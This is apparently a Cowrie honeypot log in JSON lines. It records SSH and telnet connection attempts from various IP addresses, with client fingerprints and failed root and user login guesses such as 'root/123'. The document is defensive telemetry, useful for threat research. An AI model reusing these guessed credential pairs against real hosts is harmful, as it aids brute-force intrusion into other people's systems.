{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:52.642366Z","src_ip":"80.66.85.226","session":"61527e007a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mateusz","message":"login attempt [root/mateusz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:52.900926Z","src_ip":"80.66.85.226","session":"61527e007a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:37:53.988127Z","src_ip":"80.66.85.226","session":"61527e007a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":57324,"dst_ip":"159.203.135.109","dst_port":23,"session":"3714f4d3ab3e","protocol":"telnet","message":"New connection: 137.184.5.188:57324 (159.203.135.109:23) [session: 3714f4d3ab3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:01.604399Z"}
{"eventid":"cowrie.session.closed","duration":30.15673327445984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:31.760975Z","src_ip":"137.184.5.188","session":"3714f4d3ab3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":51468,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1421e81d15f","protocol":"ssh","message":"New connection: 139.59.4.137:51468 (159.203.135.109:22) [session: f1421e81d15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:36.256596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:36.258705Z","src_ip":"139.59.4.137","session":"f1421e81d15f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:36.465995Z","src_ip":"139.59.4.137","session":"f1421e81d15f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"abcd-1234","message":"login attempt [user/abcd-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:37.332998Z","src_ip":"139.59.4.137","session":"f1421e81d15f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:38.542911Z","src_ip":"139.59.4.137","session":"f1421e81d15f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":41948,"dst_ip":"159.203.135.109","dst_port":22,"session":"4749c4f6e5fd","protocol":"ssh","message":"New connection: 132.148.142.226:41948 (159.203.135.109:22) [session: 4749c4f6e5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:41.371312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:41.374965Z","src_ip":"132.148.142.226","session":"4749c4f6e5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:41.443970Z","src_ip":"132.148.142.226","session":"4749c4f6e5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"atomic","password":"P@ssw0rd#Tr0ng$2","message":"login attempt [atomic/P@ssw0rd#Tr0ng$2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:41.641377Z","src_ip":"132.148.142.226","session":"4749c4f6e5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:42.709020Z","src_ip":"132.148.142.226","session":"4749c4f6e5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":40584,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6c846bb7739","protocol":"ssh","message":"New connection: 77.237.244.154:40584 (159.203.135.109:22) [session: c6c846bb7739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:46.975301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:46.978838Z","src_ip":"77.237.244.154","session":"c6c846bb7739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:47.070601Z","src_ip":"77.237.244.154","session":"c6c846bb7739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@#$%^&","message":"login attempt [root/qwerty@#$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:47.347182Z","src_ip":"77.237.244.154","session":"c6c846bb7739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:48.441143Z","src_ip":"77.237.244.154","session":"c6c846bb7739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":59112,"dst_ip":"159.203.135.109","dst_port":22,"session":"1180c2e28225","protocol":"ssh","message":"New connection: 62.133.62.83:59112 (159.203.135.109:22) [session: 1180c2e28225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:51.150554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:51.153453Z","src_ip":"62.133.62.83","session":"1180c2e28225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:51.239713Z","src_ip":"62.133.62.83","session":"1180c2e28225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastia13","message":"login attempt [root/nastia13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:51.492728Z","src_ip":"62.133.62.83","session":"1180c2e28225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:38:52.579291Z","src_ip":"62.133.62.83","session":"1180c2e28225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":48424,"dst_ip":"159.203.135.109","dst_port":22,"session":"cda18818a08f","protocol":"ssh","message":"New connection: 199.192.25.149:48424 (159.203.135.109:22) [session: cda18818a08f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:00.744958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:00.750457Z","src_ip":"199.192.25.149","session":"cda18818a08f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:00.820563Z","src_ip":"199.192.25.149","session":"cda18818a08f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cumberland789","message":"login attempt [root/cumberland789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:01.031002Z","src_ip":"199.192.25.149","session":"cda18818a08f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:02.116580Z","src_ip":"199.192.25.149","session":"cda18818a08f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":56458,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b0da3c0062c","protocol":"telnet","message":"New connection: 50.62.181.92:56458 (10.17.0.5:23) [session: 6b0da3c0062c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:06.484686Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":52124,"dst_ip":"10.17.0.5","dst_port":22,"session":"8320e19b71b0","protocol":"ssh","message":"New connection: 80.94.92.234:52124 (10.17.0.5:22) [session: 8320e19b71b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:11.165944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:11.696807Z","src_ip":"80.94.92.234","session":"8320e19b71b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:11.702491Z","src_ip":"80.94.92.234","session":"8320e19b71b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:13.784363Z","src_ip":"80.94.92.234","session":"8320e19b71b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:15.472402Z","src_ip":"80.94.92.234","session":"8320e19b71b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42432,"dst_ip":"159.203.135.109","dst_port":23,"session":"c06d134b202c","protocol":"telnet","message":"New connection: 107.6.151.170:42432 (159.203.135.109:23) [session: c06d134b202c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:25.019153Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":42794,"dst_ip":"159.203.135.109","dst_port":22,"session":"afbb36541265","protocol":"ssh","message":"New connection: 154.16.115.34:42794 (159.203.135.109:22) [session: afbb36541265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:35.494561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:35.498424Z","src_ip":"154.16.115.34","session":"afbb36541265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:35.523711Z","src_ip":"154.16.115.34","session":"afbb36541265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toshi456","message":"login attempt [root/toshi456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:35.600370Z","src_ip":"154.16.115.34","session":"afbb36541265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:36.627768Z","src_ip":"154.16.115.34","session":"afbb36541265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.7180917263031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:37.202669Z","src_ip":"50.62.181.92","session":"6b0da3c0062c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":43540,"dst_ip":"10.17.0.5","dst_port":22,"session":"be89252c4b09","protocol":"ssh","message":"New connection: 147.45.199.80:43540 (10.17.0.5:22) [session: be89252c4b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:39:44.480277Z"}
